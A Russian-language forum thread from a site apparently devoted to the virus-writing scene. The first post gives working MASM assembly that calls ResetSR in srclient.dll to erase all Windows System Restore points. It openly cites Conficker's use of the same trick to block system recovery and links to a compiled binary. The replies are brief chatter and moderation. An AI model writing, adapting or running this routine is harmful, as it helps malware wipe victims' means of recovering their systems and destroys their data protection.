Иной взгляд на вирмейкерскую сцену

Raptor's Software форум

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Raptor's Software форум » Другие продукты » Отключения System Restore


Отключения System Restore

Сообщений 1 страница 4 из 4

1

Эта функция сбрасывает "System Restore", тем самым удаляя все точки восстановления.

Этот трюк используется Conficker'ом с той же целью - сделать невозможым восстановление системы.

Сам код:

.386
.model flat,stdcall
option casemap:none

include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

.data
DllName db 'srclient.dll',0  ; Имя библиотеки
FncName db 'ResetSR',0  ; Имя нужной API-функции
hLib    dd 0

.code
start:   
invoke   LoadLibrary, addr  DllName 
; Подгружаем библиотеку
mov      hLib, eax

invoke   GetProcAddress, hLib, addr FncName 
; Находим в ней адрес нужной API-функции

push     0
call     eax  ; Сбрасываем SR

invoke   FreeLibrary, hLib           
; Освобождаем загруженную библиотеку

invoke   ExitProcess, 0
end start

Скомпилинный код программы-http://exfile.ru/58698

0

2

Assembler??
Не вижу смысла выкладывать код - или выкладывать на всех компилируемых языках, или просто описать что код должен делать)) А то так "нечестно" получается :)

Отредактировано Alex1001222 (2009-09-13 21:49:26)

0

3

Alex1001222 написал(а):

Не вижу смысла выкладывать код

Не видишь ну и слава богу иди себе стороной !!!

0

4

cyber23
1. Просьба не грубить
2. Не флудим на форуме :)

0


Вы здесь » Raptor's Software форум » Другие продукты » Отключения System Restore